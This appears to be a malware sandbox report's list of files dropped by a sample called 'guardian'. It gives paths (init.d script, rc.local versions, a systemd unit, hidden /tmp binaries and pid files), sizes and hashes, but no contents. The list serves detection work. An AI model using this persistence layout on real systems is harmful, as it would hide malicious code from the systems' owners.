                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /etc/init.d/guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 92B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 03561910ba242c345b6266e8318b5957181b54f56ba922b32e5d5865c0536861
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 49B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 236b036073039580e5098f3f85464b0fee0af9f3444b4d27c7d23d274ee79dc3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 98B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 7f2f41861890a9e3f1e97eb6057e9a918a88cc7237b899d2abd718cb58712712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 147B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 e2847118b1b85032a0eea7b95f37daf3612fff9d075e0b1d4609afc8bfb3029d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 196B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 41eabfb29eb4fa83b5ee3a394e01fdaa7472f88eff0db0b70bed64f82ce4ea84
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 245B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 44469171c3bad7ec62d61556ff77b7b7a95efa3a9c13660774342a18b10f6e87
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 343B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 a91a53df28e2fdfc34e03e2f2d76c61c5f4639fc7ea23f575e40806c7a356502
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  guardian.service
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /etc/systemd/system/guardian.service
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 153B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 74977bd14f5b7f4cb5b5560d436fe1d3e4df59c89288a63dbf5591411b21b811
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  .grd1an.pid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /tmp/.grd1an.pid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 4B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 80a99ac8d8c70014a1ffce7d0454d1d9b6163a77561746d6f6afc0193669c523
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  .guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 286KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 dd0963bbf9268d8901feef055fbbf345b800ab7e430a3a1d65c169f37abada53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  .guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 152KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 46b9409ac49bb130a4273715abd3da2c01c0259d1d61dc97b598d9456014c96e
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  .guardian.tag
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /tmp/.guardian.tag
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 4B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 b7fafb86bf6623e388b84fcb2443bf033660e9fdd5bd9669f0223051a90b7ca2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download